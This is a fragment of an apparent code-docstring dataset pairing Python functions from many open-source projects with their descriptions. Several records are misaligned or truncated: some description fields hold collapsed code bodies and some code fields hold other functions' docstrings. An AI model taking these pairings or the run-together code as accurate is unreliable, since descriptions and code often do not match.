tf.concat([tf.shape(h)[:-1], [channels]], axis=0,\n name=\"CreateZShape\")\n z = mu + tf.multiply(sigma, tf.random_normal(shape=z_shape))\n\n return mu, sigma, z\n\n\n@optional_scope", "nl": "Samples a variational encoding vector z from a normal distribution parameterized by a hiddenstate h.Statistics of the normal distribution are obtained from h via a convolutional function eta.The sampling is done via the 're-parameterization trick' (factoring out noise into epsilon)."} {"code": "def enhance(config, plugins):\n supported_enhancements = [\"hsts\", \"redirect\", \"uir\", \"staple\"]\n oldstyle_enh = any([getattr(config, enh) for enh in supported_enhancements])\n if not enhancements.are_requested(config) and not oldstyle_enh:\n msg = (\"Please specify one or more enhancement types to configure. To list \"\n \"the available enhancement types, run:\\n\\n%s --help enhance\\n\")\n logger.warning(msg, sys.argv[0])\n raise errors.MisconfigurationError(\"No enhancements requested, exiting.\")\n\n try:\n installer, _ = plug_sel.choose_configurator_plugins(config, plugins, \"enhance\")\n except errors.PluginSelectionError as e:\n return str(e)\n\n if not enhancements.are_supported(config, installer):\n raise errors.NotSupportedError(\"One ore more of the requested enhancements \"\n \"are not supported by the selected installer\")\n\n certname_question = (\"Which certificate would you like to use to enhance \"\n \"your configuration?\")\n config.certname = cert_manager.get_certnames(\n config, \"enhance\", allow_multiple=False,\n custom_prompt=certname_question)[0]\n cert_domains = cert_manager.domains_for_certname(config, config.certname)\n if config.noninteractive_mode:\n domains = cert_domains\n else:\n domain_question = (\"Which domain names would you like to enable the \"\n \"selected enhancements for?\")\n domains = display_ops.choose_values(cert_domains, domain_question)\n if not domains:\n raise errors.Error(\"User cancelled the domain selection. No domains \"", "nl": "Add security enhancements to existing configuration:param config: Configuration object:type config: interfaces.IConfig:param plugins: List of plugins:type plugins: `list` of `str`:returns: `None`:rtype: None"} {"code": "def url_to_filename(url, etag=None):\n url_bytes = url.encode(\"utf-8\")\n url_hash = sha256(url_bytes)\n filename = url_hash.hexdigest()\n\n if etag:\n etag_bytes = etag.encode(\"utf-8\")\n etag_hash = sha256(etag_bytes)\n filename += \".\" + etag_hash.hexdigest()\n\n if url.endswith(\".h5\"):\n filename += \".h5\"\n\n return filename\n\n", "nl": "Convert `url` into a hashed filename in a repeatable way.If `etag` is specified, append its hash to the url's, delimitedby a period.If the url ends with .h5 (Keras HDF5 weights) adds '.h5' to the nameso that TF 2.0 can identify it as a HDF5 file(see https://github.com/tensorflow/tensorflow/blob/00fad90125b18b80fe054de1055770cfb8fe4ba3/tensorflow/python/keras/engine/network.py#L1380)"} {"code": "def count_group_cached(group_id, failures=False, broker=None):\n if not broker:\n broker = get_broker()\n group_list = broker.cache.get(f\"{broker.list_key}:{group_id}:keys\")\n if group_list:\n if not failures:\n return len(group_list)\n failure_count = 0\n for task_key in group_list:\n task = SignedPackage.loads(broker.cache.get(task_key))\n if not task[\"success\"]:\n failure_count += 1\n return failure_count\n\n", "nl": "Count the results in a group in the cache backend"} {"code": "def get_domain_details(self, id=None):\n Allows for a bind zone file to be imported in one operation. The\n bind_zone parameter can be a string or a file object.\n \"\"\"\n A thread-safe connection pool object.\n\n This component isn't required when using the clouddns library, but it may\n be useful when building threaded applications.\n \"\"\"", "nl": "Get details on a particular domainparms = { 'showRecords': 'false', 'showSubdomains': 'false' }response = self.make_request('GET', ['domains', str(id)], parms=parms)if (response.status < 200) or (response.status > 299):response.read()raise ResponseError(response.status, response.reason)read_output = response.read()domains = json.loads(read_output)return Domain(self, **domains)# Take a reponse parse it if there is asyncResponse and wait for# it (TODO: should offer to not)def wait_for_async_request(self, response):if (response.status < 200) or (response.status > 299):_output = response.read().strip()try:output = json.loads(_output)except ValueError:output = Noneapi_reasons = \"\"if output and 'validationErrors' in output:for msg in output['validationErrors']['messages']:api_reasons += \" (%s)\" % msgraise ResponseError(response.status, response.reason+api_reasons)output = json.loads(response.read())jobId = output['jobId']while True:response = self.make_request('GET', ['status', jobId],parms=['showDetails=True'])if (response.status < 200) or (response.status > 299):response.read()raise ResponseError(response.status, response.reason)_output = response.read().strip()output = json.loads(_output)if output['status'] == 'COMPLETED':try:return output['response']except KeyError:return outputif output['status'] == 'ERROR':if (output['error']['code'] == 409 andoutput['error']['details'] == 'Domain already exists'):raise DomainAlreadyExistsif (output['error']['code'] == 409 andoutput['error']['details'].find('belongs to another owner')):raise NotDomainOwnerraise ResponseError(output['error']['code'],output['error']['details'])time.sleep(1)continuedef _domain(self, name, ttl, emailAddress, comment=\"\"):if not ttl >= 300:raise Exception(\"Ttl is a minimun of 300 seconds\")s = '<domain name=\"%s\" ttl=\"%s\" emailAddress=\"%s\" comment=\"%s\"></domain>'return s % (name, ttl, emailAddress, comment)def create_domain(self, name, ttl, emailAddress, comment=\"\"):domain = [name, ttl, emailAddress, comment]return self.create_domains([domain])[0]def create_domains(self, domains):xml = '<domains xmlns=\"http://docs.rackspacecloud.com/dns/api/v1.0\">'ret = []for dom in domains:ret.append(self._domain(*dom))xml += \"\\n\".join(ret)xml += \"</domains>\"response = self.make_request('POST', ['domains'], data=xml)output = self.wait_for_async_request(response)ret = []for domain in output['domains']:ret.append(Domain(connection=self, **domain))return retdef delete_domain(self, domain_id):return self.delete_domains([domain_id])def delete_domains(self, domains_id):ret = [\"id=%s\" % (i) for i in domains_id]response = self.make_request('DELETE',['domains'],parms=ret,)return self.wait_for_async_request(response)def import_domain(self, bind_zone):"} {"code": "def encode(msg: Message) -> bytes:\n msg = cast(StateUpdateMessage, msg)\n message_pb = ProtobufMessage()\n dialogue_message_pb = DialogueMessage()\n state_update_msg = state_update_pb2.StateUpdateMessage()\n\n dialogue_message_pb.message_id = msg.message_id\n dialogue_reference = msg.dialogue_reference\n dialogue_message_pb.dialogue_starter_reference = dialogue_reference[0]\n dialogue_message_pb.dialogue_responder_reference = dialogue_reference[1]\n dialogue_message_pb.target = msg.target\n\n performative_id = msg.performative\n if performative_id == StateUpdateMessage.Performative.INITIALIZE:\n performative = state_update_pb2.StateUpdateMessage.Initialize_Performative()\n exchange_params_by_currency_id = msg.exchange_params_by_currency_id\n performative.exchange_params_by_currency_id.update(\n exchange_params_by_currency_id\n )\n utility_params_by_good_id = msg.utility_params_by_good_id\n performative.utility_params_by_good_id.update(utility_params_by_good_id)\n amount_by_currency_id = msg.amount_by_currency_id\n performative.amount_by_currency_id.update(amount_by_currency_id)\n quantities_by_good_id = msg.quantities_by_good_id\n performative.quantities_by_good_id.update(quantities_by_good_id)\n state_update_msg.initialize.CopyFrom(performative)\n elif performative_id == StateUpdateMessage.Performative.APPLY:\n performative = state_update_pb2.StateUpdateMessage.Apply_Performative()\n amount_by_currency_id = msg.amount_by_currency_id\n performative.amount_by_currency_id.update(amount_by_currency_id)\n quantities_by_good_id = msg.quantities_by_good_id\n performative.quantities_by_good_id.update(quantities_by_good_id)\n state_update_msg.apply.CopyFrom(performative)\n elif performative_id == StateUpdateMessage.Performative.END:\n performative = state_update_pb2.StateUpdateMessage.End_Performative()\n state_update_msg.end.CopyFrom(performative)\n else:\n raise ValueError(\"Performative not valid: {}\".format(performative_id))\n\n dialogue_message_pb.content = state_update_msg.SerializeToString()\n\n message_pb.dialogue_message.CopyFrom(dialogue_message_pb)\n message_bytes = message_pb.SerializeToString()\n return message_bytes\n\n @staticmethod", "nl": "Encode a 'StateUpdate' message into bytes.:param msg: the message object.:return: the bytes."} {"code": "def test_hash(self):\n CORPUS_DIRECTORY = '/corpus'\n MERGE_DIRECTORY = '/corpus-merge'\n", "nl": "Tests that False is returned for a real hash.self.assertTrue(libfuzzer.is_sha1_hash(ARBITRARY_SHA1_HASH))class MoveMergeableUnitsTest(fake_fs_unittest.TestCase):Tests for move_mergeable_units."} {"code": "def p_direct_abstract_declarator_3(self, p):\n p[0] = c_ast.ArrayDecl(\n type=c_ast.TypeDecl(None, None, None),\n dim=p[2],\n dim_quals=[],\n coord=self._coord(p.lineno(1)))\n", "nl": " direct_abstract_declarator : LBRACKET assignment_expression_opt RBRACKET"} {"code": "def test_protocol_tlsv1_2(self):\n if support.verbose:\n sys.stdout.write(\"\\n\")\n try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLSv1_2, 'TLSv1.2',\n server_options=ssl.OP_NO_SSLv3|ssl.OP_NO_SSLv2,\n client_options=ssl.OP_NO_SSLv3|ssl.OP_NO_SSLv2,)\n if has_tls_version('SSLv2'):\n try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_SSLv2, False)\n if has_tls_version('SSLv3'):\n try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_SSLv3, False)\n try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLS, False,\n client_options=ssl.OP_NO_TLSv1_2)\n\n try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLSv1_2, 'TLSv1.2')\n try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLSv1, False)\n try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_TLSv1_2, False)\n try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLSv1_1, False)\n try_protocol_combo(ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_TLSv1_2, False)\n", "nl": "Connecting to a TLSv1.2 server with various client options.Testing against older TLS versions."} {"code": "def serialize(self, data):\n return json.dumps(data, cls=MoreTypesJSONEncoder)", "nl": "The low-level serialization.Underpins ``serialize``, ``serialize_list`` &``serialize_detail``.Has no built-in smarts, simply dumps the JSON.:param data: The body for the response:type data: string:returns: A serialized version of the data:rtype: string"} {"code": "def __contains__(self, name):\n try:\n self[name]\n return True\n except KeyError:\n return False\n except AmbiguousReferenceException:\n return True\n", "nl": "Is there at least one entry called *name* in this collection?Makes a single roundtrip to the server, plus at most two moreifthe ``autologin`` field of :func:`connect` is set to ``True``."} {"code": "def _should_terminate():\n nonlocal total_data_exchanged, failed_out\n\n status = transfer.getStatus()\n\n if status in (usb1.TRANSFER_COMPLETED,):\n\n total_data_exchanged += transfer.getActualLength()\n\n if _should_terminate():\n return\n\n transfer.submit()\n\n else:\n failed_out = status\n\n\n\n with usb1.USBContext() as context:\n\n device = context.openByVendorIDAndProductID(0x16d0, 0x0f3b)\n\n device.claimInterface(0)\n\n active_transfers = []\n for _ in range(TRANSFER_QUEUE_DEPTH):\n\n transfer = device.getTransfer()\n transfer.setBulk(0x80 | BULK_ENDPOINT_NUMBER, TEST_TRANSFER_SIZE, callback=_transfer_completed, timeout=1000)\n\n active_transfers.append(transfer)\n\n\n start_time = time.time()\n\n for transfer in active_transfers:\n transfer.submit()\n\n while not _should_terminate():\n context.handleEvents()\n\n end_time = time.time()\n elapsed = end_time - start_time\n\n for transfer in active_transfers:\n if transfer.isSubmitted():\n transfer.cancel()\n\n if (failed_out):\n logging.error(f\"Test failed because a transfer {_messages[failed_out]}.\")\n sys.exit(failed_out)\n\n\n bytes_per_second = total_data_exchanged / elapsed\n logging.info(f\"Exchanged {total_data_exchanged / 1000000}MB total at {bytes_per_second / 1000000}MB/s.\")\n\n\nif __name__ == \"__main__\":\n\n if os.getenv('LUNA_RERUN_TEST'):", "nl": " Returns true iff our test should terminate. return (total_data_exchanged > TEST_DATA_SIZE) or failed_outdef _transfer_completed(transfer: usb1.USBTransfer): Callback executed when an async transfer completes. "} {"code": "def forceDoorsOpen(self):\n pass\n", "nl": "Deliberately do nothing.passdef forceDoorsClosed(self):Deliberately do nothing."} {"code": "def _post_message_hook(self, f):\n self.flush()\n if self._locked:\n self.unlock()\n self._file.close()\n", "nl": "Called after writing each message to file f.returndef close(self):Flush and close the mailbox."} {"code": "def _add_md5_header(self, response: HttpResponse):\n The BaseXMLResponseSerializer performs the basic logic for the XML response serialization.\n It is slightly adapted by the QueryResponseSerializer.\n While the botocore's RestXMLSerializer is quite similar, there are some subtle differences (since botocore's\n implementation handles the serialization of the requests from the client to the service, not the responses from the\n service to the client).\n \"\"\"", "nl": "Add a Content-MD5 header if not yet there. Adapted from botocore.utilsheaders = response.headersbody = response.dataif body is not None and \"Content-MD5\" not in headers:md5_digest = calculate_md5(body)headers[\"Content-MD5\"] = md5_digestdef _get_error_message(self, error: Exception) -> Optional[str]:return str(error) if error is not None and str(error) != \"None\" else Noneclass BaseXMLResponseSerializer(ResponseSerializer):"} {"code": "def _get_best_indexes(logits, n_best_size):\n del learning_rate, num_train_steps, num_warmup_steps\n", "nl": "Get the n-best logits from a list.index_and_score = sorted(enumerate(logits), key=lambda x: x[1], reverse=True)best_indexes = []for i in range(len(index_and_score)):if i >= n_best_size:breakbest_indexes.append(index_and_score[i][0])return best_indexesdef hotpot_model_fn_builder(bert_config, init_checkpoint, learning_rate,num_train_steps, num_warmup_steps, use_tpu,use_one_hot_embeddings):Returns `model_fn` closure for TPUEstimator."} {"code": "def nfnet_l0(pretrained=False, **kwargs):\n return _create_normfreenet('nfnet_l0', pretrained=pretrained, **kwargs)\n\n\n@register_model", "nl": " NFNet-L0b w/ SiLUMy experimental 'light' model w/ F0 repeats, 1.5x final_conv mult, 64 group_size, .25 bottleneck & SE ratio"} {"code": "def validate_group_ndims_arg(group_ndims, name=None):\n @contextlib.contextmanager", "nl": "Validate the specified value for `group_ndims` argument.If the specified `group_ndims` is a dynamic :class:`~tf.Tensor`,additional assertion will be added to the graph node of `group_ndims`.Args:group_ndims: Object to be validated.name: TensorFlow name scope of the graph nodes. (default\"validate_group_ndims\")Returns:tf.Tensor or int: The validated `group_ndims`.Raises:ValueError: If the specified `group_ndims` cannot pass validation."} {"code": "def path_to_3d_segment(path, zs=0, zdir='z'):\n\n zs = np.broadcast_to(zs, len(paths))\n segs = [_path_to_3d_segment(path, pathz, zdir)\n for path, pathz in zip(paths, zs)]\n return segs\n\n\n@cbook.deprecated(\"3.1\")", "nl": "Convert a path to a 3D segment.return _path_to_3d_segment(path, zs=zs, zdir=zdir)def _paths_to_3d_segments(paths, zs=0, zdir='z'):Convert paths from a collection object to 3D segments."} {"code": "def item_move(request, item, up=True):\n try:\n item = request.event.items.get(\n id=item\n )\n except Item.DoesNotExist:\n raise Http404(_(\"The requested product does not exist.\"))\n items = list(request.event.items.filter(category=item.category).order_by(\"position\"))\n\n index = items.index(item)\n if index != 0 and up:\n items[index - 1], items[index] = items[index], items[index - 1]\n elif index != len(items) - 1 and not up:\n items[index + 1], items[index] = items[index], items[index + 1]\n\n for i, item in enumerate(items):\n if item.position != i:\n item.position = i\n item.save()\n messages.success(request, _('The order of items has been updated.'))\n\n\n@event_permission_required(\"can_change_items\")\n@require_http_methods([\"POST\"])", "nl": "This is a helper function to avoid duplicating code in item_move_up anditem_move_down. It takes an item and a direction and then tries to bringall items for this category in a new order."} {"code": "def __init__(self, params, env):\n super(TestSimpleSandboxes, self).__init__(params, env)\n self.command_suffixes()\n\n\n\nclass TestComplexSandboxes(TestBaseSandboxes):\n\n \"\"\"\n", "nl": "Initialize to run, all SandboxCommandBase's"} {"code": "def error_rate(predictions, labels):\n Batch normalization on convolutional maps.\n Args:\n x: Tensor, 4D BHWD input maps\n n_out: integer, depth of input maps\n phase_train: boolean tf.Variable, true indicates training phase\n scope: string, variable scope\n affn: whether to affn-transform outputs\n Return:\n normed: batch-normalized maps\n Ref: http://stackoverflow.com/questions/33949786/how-could-i-use-batch-normalization-in-tensorflow/33950177\n \"\"\"", "nl": "Return the error rate based on dense predictions and sparse labels.return 100.0 - (100.0 *np.sum(np.argmax(predictions, 1) == labels) /predictions.shape[0])def main(argv=None): # pylint: disable=unused-argumentif FLAGS.self_test:print('Running self-test.')train_data, train_labels = fake_data(256)validation_data, validation_labels = fake_data(EVAL_BATCH_SIZE)test_data, test_labels = fake_data(EVAL_BATCH_SIZE)num_epochs = 1else:# Get the data.train_data_filename = maybe_download('train-images-idx3-ubyte.gz')train_labels_filename = maybe_download('train-labels-idx1-ubyte.gz')test_data_filename = maybe_download('t10k-images-idx3-ubyte.gz')test_labels_filename = maybe_download('t10k-labels-idx1-ubyte.gz')# Extract it into numpy arrays.train_data = extract_data(train_data_filename, 60000)train_labels = extract_labels(train_labels_filename, 60000)test_data = extract_data(test_data_filename, 10000)test_labels = extract_labels(test_labels_filename, 10000)# Generate a validation set.validation_data = train_data[:VALIDATION_SIZE, ...]validation_labels = train_labels[:VALIDATION_SIZE]train_data = train_data[VALIDATION_SIZE:, ...]train_labels = train_labels[VALIDATION_SIZE:]num_epochs = NUM_EPOCHStrain_size = train_labels.shape[0]# This is where training samples and labels are fed to the graph.# These placeholder nodes will be fed a batch of training data at each# training step using the {feed_dict} argument to the Run() call below.train_data_node = tf.placeholder(data_type(),shape=(BATCH_SIZE, IMAGE_SIZE, IMAGE_SIZE, NUM_CHANNELS))train_labels_node = tf.placeholder(tf.int64, shape=(BATCH_SIZE,))eval_data = tf.placeholder(data_type(),shape=(EVAL_BATCH_SIZE, IMAGE_SIZE, IMAGE_SIZE, NUM_CHANNELS))# The variables below hold all the trainable weights. They are passed an# initial value which will be assigned when we call:# {tf.global_variables_initializer().run()}conv1_weights = tf.Variable(tf.truncated_normal([5, 5, NUM_CHANNELS, 32], # 5x5 filter, depth 32.stddev=0.1,seed=SEED, dtype=data_type()))conv1_biases = tf.Variable(tf.zeros([32], dtype=data_type()))conv2_weights = tf.Variable(tf.truncated_normal([5, 5, 32, 64], stddev=0.1,seed=SEED, dtype=data_type()))conv2_biases = tf.Variable(tf.constant(0.1, shape=[64], dtype=data_type()))fc1_weights = tf.Variable( # fully connected, depth 512.tf.truncated_normal([IMAGE_SIZE // 4 * IMAGE_SIZE // 4 * 64, 512],stddev=0.1,seed=SEED,dtype=data_type()))fc1_biases = tf.Variable(tf.constant(0.1, shape=[512], dtype=data_type()))fc1p_weights = tf.Variable( # fully connected, depth 512.tf.truncated_normal([512, 2],stddev=0.1,seed=SEED,dtype=data_type()))fc1p_biases = tf.Variable(tf.constant(0.1, shape=[2], dtype=data_type()))fc2_weights = tf.Variable(tf.truncated_normal([2, NUM_LABELS],stddev=0.1,seed=SEED,dtype=data_type()))fc2_biases = tf.Variable(tf.constant(0.1, shape=[NUM_LABELS], dtype=data_type()))def batch_norm(x, phase_train): #pylint: disable=unused-variable"} {"code": "def test_task_comment(self):\n try:", "nl": "Comments not at the appropriate indentation level are not allowed"} {"code": "def aspect_ratio(self) -> float:\n\n This can be interpreted as presentation time stamp, thus frame 1 corresponds\n to the presentation time 0. Returns 0 even if `frame_number` is 1.\"\"\"", "nl": "Pixel aspect ratio as a float (1.0 represents square pixels).raise NotImplementedError@property@abstractmethoddef position(self) -> FrameTimecode:Current position within stream as FrameTimecode."} {"code": "def get_user_details(self, response):\n response = self.request(\n 'https://openapi.naver.com/v1/nid/getUserProfile.xml',\n headers={\n 'Authorization': 'Bearer {0}'.format(access_token),\n 'Content_Type': 'text/xml'\n }\n )\n\n dom = minidom.parseString(response.text.encode('utf-8').strip())\n\n return {\n 'id': self._dom_value(dom, 'id'),\n 'email': self._dom_value(dom, 'email'),\n 'username': self._dom_value(dom, 'name'),\n 'nickname': self._dom_value(dom, 'nickname'),\n 'gender': self._dom_value(dom, 'gender'),\n 'age': self._dom_value(dom, 'age'),\n 'birthday': self._dom_value(dom, 'birthday'),\n 'profile_image': self._dom_value(dom, 'profile_image')\n }\n", "nl": "Return user details from Naver accountreturn {'username': response.get('username'),'email': response.get('email'),'fullname': response.get('username'),}def user_data(self, access_token, *args, **kwargs):Loads user data from service"} {"code": "def test_if_hypothesis(self):\n data = b'if(boolean) { crash }'\n\n self._minimizer.minimize(data)\n\n self.assertIn('if(boolean) {}', self._hypotheses_tested)\n", "nl": "Test that the minimizer successfully removes all of the if statementsyntax when it hits a bracket.e.g.: if (statement_that_evaluates_to_true) { crash() } -> crash()."} {"code": "def init_toolbar(self):\n self.grid.Refresh()\n", "nl": " Set up the toolbar at the top of the window. t_size = (24, 24)plot_bmp = wx.Bitmap(os.path.join(self.icon_folder, \"viz_plot_24.png\"), wx.BITMAP_TYPE_ANY)self.toolbar = self.CreateToolBar(wx.TB_HORIZONTAL | wx.NO_BORDER | wx.TB_FLAT | wx.TB_TEXT)self.toolbar.SetToolBitmapSize(t_size)self.toolbar.AddStretchableSpace()if self.node.is_plottable():self.toolbar.AddLabelTool(ID_VIS_MENU_PLOT, \"Map Surface\", plot_bmp,shortHelp=\"Map geographic surface in a popup window\",longHelp=\"Map the geographic surface array in a popup window\")self.toolbar.Realize()def on_sliced(self, evt): User has chosen to display a different part of the dataset. "} {"code": "def state(self):\n data = self.coordinator.data[self.sn]\n\n attributes = {k: v for k, v in data.items() if k is not None and v is not None}\n\n attributes[\"pv\"] = data[\"pv\"].replace('(W)', '')\n attributes[\"bettery\"] = data[\"bettery\"].replace('(W)', '')\n attributes[\"load\"] = data[\"load\"].replace('(W)', '')\n attributes[\"grid\"] = data[\"grid\"].replace('(W)', '')\n\n attributes[\"statusText\"] = self.statusText(data[\"gridStatus\"])\n\n if data['loadStatus'] == -1 :\n attributes['PowerFlowDirection'] = 'Export %s' % data['grid']\n if data['loadStatus'] == 1 :\n attributes['PowerFlowDirection'] = 'Import %s' % data['grid']\n\n return attributes\n\n @property", "nl": "Return the state of the device.data = self.coordinator.data[self.sn]load = data[\"load\"]if load:load = load.replace('(W)', '')return load if data[\"gridStatus\"] == 1 else 0def statusText(self, status) -> str:labels = {-1: \"Offline\", 0: \"Waiting\", 1: \"Normal\", 2: \"Fault\"}return labels[status] if status in labels else \"Unknown\"# For backwards compatibility@propertydef extra_state_attributes(self):Return the state attributes of the monitored installation."} {"code": "def get_variant(self):\n return self._variant\n", "nl": "Return the font variant. Values are: 'normal' or 'small-caps'."} {"code": "def deploy(local_directory, remote_url, filelist=None):\n pass\n\n\nclass URL(object):\n \"\"\" URL Class \"\"\"", "nl": " Deploy a local directory to a remote url. # ensure destination directory exist before deploying dataif not (remote_url.host and remote_url.remote_directory):message = \"Remote URL is invalid; host and remote directory must be specified\"raise Exception(message)user = \"%s@\" % remote_url.user if remote_url.user else \"\"cmd = [\"ssh\"]if remote_url.port:cmd.extend([\"-p\", str(remote_url.port)])cmd.extend([\"%s%s\" % (user, remote_url.host)])cmd.extend([\"mkdir\", \"-p\", remote_url.remote_directory])qisys.command.call(cmd)# This is required for rsync to do the right thing,# otherwise the basename of local_directory gets# createdlocal_directory = local_directory + \"/.\"cmd = [\"rsync\",\"--recursive\",\"--links\",\"--perms\",\"--times\",\"--specials\",\"--progress\", # print a progress bar\"--checksum\", # verify checksum instead of size and date\"--exclude=.debug/\"]if remote_url.port:cmd.extend([\"-e\", \"ssh -p %d\" % remote_url.port])if filelist:cmd.append(\"--files-from=%s\" % filelist)cmd.append(local_directory)cmd.append(\"%s%s:%s\" % (user, remote_url.host, remote_url.remote_directory))qisys.command.call(cmd)class URLParseError(Exception): URLParseError Custom Exception "} {"code": "def AttributeCount(self):\n ret = libxml2mod.xmlTextReaderConstBaseUri(self._o)\n return ret\n", "nl": "Provides the number of attributes of the current node ret = libxml2mod.xmlTextReaderAttributeCount(self._o)return retdef BaseUri(self):The base URI of the node. "} {"code": "def __controlPressed(self):\n Starts the timer display running during the inputChoice state,\n once we have received the timerStartTime from the AI.\n \"\"\"", "nl": "Handle control key being pressed.if self.gameFSM.getCurrentState().getName() == 'inputChoice':self.sendForceArrowUpdateAsap = Trueself.updateLocalForceArrow()self.controlKeyPressed = Trueself.sendUpdate(\"setAvatarChoice\", [self.curForce, self.curHeading])self.gameFSM.request('waitServerChoices')passdef startTimer(self):startTimer(self)"} {"code": "def cleanup(self):\n date_cur_ = datetime.now()\n for seq in (self._mv_cookie, self._mv):\n for k in list(seq.keys()):\n if (date_cur_ - seq[k][1]) > timedelta(minutes=1):\n log.debug('Cleanup: deleting entry %s', seq[k][0])\n del seq[k]\n", "nl": "Cleanup (delete) old (>1mn) records contained in self._mv_cookieand self._mv."} {"code": "def default_atlas(self) -> TextureAtlas:\n if not self._atlas:", "nl": "The default texture atlas. This is created when arcade is initialized.All sprite lists will use use this atlas unless a different atlasis passed in the :py:class:`arcade.SpriteList` constructor.:type: TextureAtlas"} {"code": "def _clear_image_tree(self, image_dir):\n\n maybe_remove(os.path.join(instance_dir, 'etc', 'resolv.conf'))\n\n maybe_remove(os.path.join(instance_dir, 'etc', 'apt', 'apt.conf.d', '98debspawn_proxy'))\n\n maybe_remove(os.path.join(instance_dir, 'etc', 'machine-id'))\n maybe_remove(os.path.join(instance_dir, 'var', 'log', 'lastlog'))\n maybe_remove(os.path.join(instance_dir, 'var', 'log', 'faillog'))\n\n apt_pkg_cache_dir = os.path.join(instance_dir, 'var', 'cache', 'apt', 'archives')\n if os.path.isdir(apt_pkg_cache_dir):\n rmtree_mntsafe(apt_pkg_cache_dir, ignore_errors=True)\n", "nl": "Clear files from a directory tree that we don't want in the tarball.if os.path.ismount(image_dir):print_warn('Preparing OS tree for compression, but /dev is still mounted.')returnfor sdir, _, files in os.walk(os.path.join(image_dir, 'dev')):for f in files:fname = os.path.join(sdir, f)if os.path.lexists(fname) and not os.path.isdir(fname) and not os.path.ismount(fname):os.remove(fname)def _remove_unwanted_files(self, instance_dir):Delete unwanted files from a base image"} {"code": "def _copy_default_state(self):\n self._local_keys.extend([k for k in keys if k not in self._local_keys])\n", "nl": "Copy the default GUI state to the user directory.if self._default_state_path and self._default_state_path.exists():logger.debug(\"The GUI state file `%s` doesn't exist, creating a default one...\", self._path)shutil.copy(self._default_state_path, self._path)logger.info(\"Copied %s to %s.\", self._default_state_path, self._path)elif self._default_state_path: # pragma: no coverlogger.warning(\"Could not copy non-existing default state file %s.\", self._default_state_path)def add_local_keys(self, keys):Add local keys."} {"code": "def padded_shapes(self):\n raise NotImplementedError()\n\n @abc.abstractmethod", "nl": "Return padding shapes for use by tf.data.Dataset.padded_batch.Returns:Padding shapes used by the encoder"} {"code": "def p_unary_expression_1(self, p):\n | MINUSMINUS unary_expression\n | unary_operator cast_expression\n \"\"\"", "nl": " unary_expression : postfix_expression p[0] = p[1]def p_unary_expression_2(self, p): unary_expression : PLUSPLUS unary_expression"} {"code": "def iotc_connect_by_uid(tutk_platform_lib: CDLL, p2p_id: str) -> c_int:\n session_id: c_int = tutk_platform_lib.IOTC_Connect_ByUID(\n c_char_p(p2p_id.encode(\"ascii\"))\n )\n return session_id\n\n", "nl": "Used by a client to connect a device.This function is for a client to connect a device by specifying the UID ofthat device. If connection is established with the help of IOTC servers,the IOTC session ID will be returned in this function and then device andclient can communicate for the other later by using this IOTC session ID.:param tutk_platform_lib: The underlying c library (from tutk.load_library()):param p2p_id: The UID of a device that client wants to connect:return: IOTC session ID if return value >= 0, error code if return value < 0"} {"code": "def clean_stale_issues():\n from security_monkey.common.audit_issue_cleanup import clean_stale_issues\n clean_stale_issues()\n\n\nclass APIServer(Command):", "nl": "Cleans up issues for auditors that have been removed"} {"code": "def test_multipleErrorsReported(self):\n self.test.addCleanup(self.test.fail, 'foo')\n self.test.addCleanup(self.test.fail, 'bar')\n self.test.run(self.result)\n self.assertEqual(['setUp', 'runTest', 'tearDown'],\n self.test.log)\n self.assertEqual(2, len(self.result.errors))\n [(test1, error1), (test2, error2)] = self.result.errors\n self.assertEqual(test1, self.test)\n self.assertEqual(test2, self.test)\n self.assertEqual(error1.getErrorMessage(), 'bar')\n self.assertEqual(error2.getErrorMessage(), 'foo')\n\n\n\nclass SynchronousAddCleanupTests(AddCleanupMixin, unittest.SynchronousTestCase):\n \"\"\"\n AddCleanup = namedAny('twisted.trial.test.skipping.SynchronousAddCleanup')\n\n\n\nclass AsynchronousAddCleanupTests(AddCleanupMixin, unittest.TestCase):\n \"\"\"\n AddCleanup = namedAny('twisted.trial.test.skipping.AsynchronousAddCleanup')\n", "nl": "If more than one cleanup fails, then the test should fail with morethan one error."} {"code": "def encode(msg: Message) -> bytes:\n msg = cast(TacMessage, msg)\n message_pb = ProtobufMessage()\n dialogue_message_pb = DialogueMessage()\n tac_msg = tac_pb2.TacMessage()\n\n dialogue_message_pb.message_id = msg.message_id\n dialogue_reference = msg.dialogue_reference\n dialogue_message_pb.dialogue_starter_reference = dialogue_reference[0]\n dialogue_message_pb.dialogue_responder_reference = dialogue_reference[1]\n dialogue_message_pb.target = msg.target\n\n performative_id = msg.performative\n if performative_id == TacMessage.Performative.REGISTER:\n performative = tac_pb2.TacMessage.Register_Performative()\n agent_name = msg.agent_name\n performative.agent_name = agent_name\n tac_msg.register.CopyFrom(performative)\n elif performative_id == TacMessage.Performative.UNREGISTER:\n performative = tac_pb2.TacMessage.Unregister_Performative()\n tac_msg.unregister.CopyFrom(performative)\n elif performative_id == TacMessage.Performative.TRANSACTION:\n performative = tac_pb2.TacMessage.Transaction_Performative()\n transaction_id = msg.transaction_id\n performative.transaction_id = transaction_id\n ledger_id = msg.ledger_id\n performative.ledger_id = ledger_id\n sender_address = msg.sender_address\n performative.sender_address = sender_address\n counterparty_address = msg.counterparty_address\n performative.counterparty_address = counterparty_address\n amount_by_currency_id = msg.amount_by_currency_id\n performative.amount_by_currency_id.update(amount_by_currency_id)\n fee_by_currency_id = msg.fee_by_currency_id\n performative.fee_by_currency_id.update(fee_by_currency_id)\n quantities_by_good_id = msg.quantities_by_good_id\n performative.quantities_by_good_id.update(quantities_by_good_id)\n nonce = msg.nonce\n performative.nonce = nonce\n sender_signature = msg.sender_signature\n performative.sender_signature = sender_signature\n counterparty_signature = msg.counterparty_signature\n performative.counterparty_signature = counterparty_signature\n tac_msg.transaction.CopyFrom(performative)\n elif performative_id == TacMessage.Performative.CANCELLED:\n performative = tac_pb2.TacMessage.Cancelled_Performative()\n tac_msg.cancelled.CopyFrom(performative)\n elif performative_id == TacMessage.Performative.GAME_DATA:\n performative = tac_pb2.TacMessage.Game_Data_Performative()\n 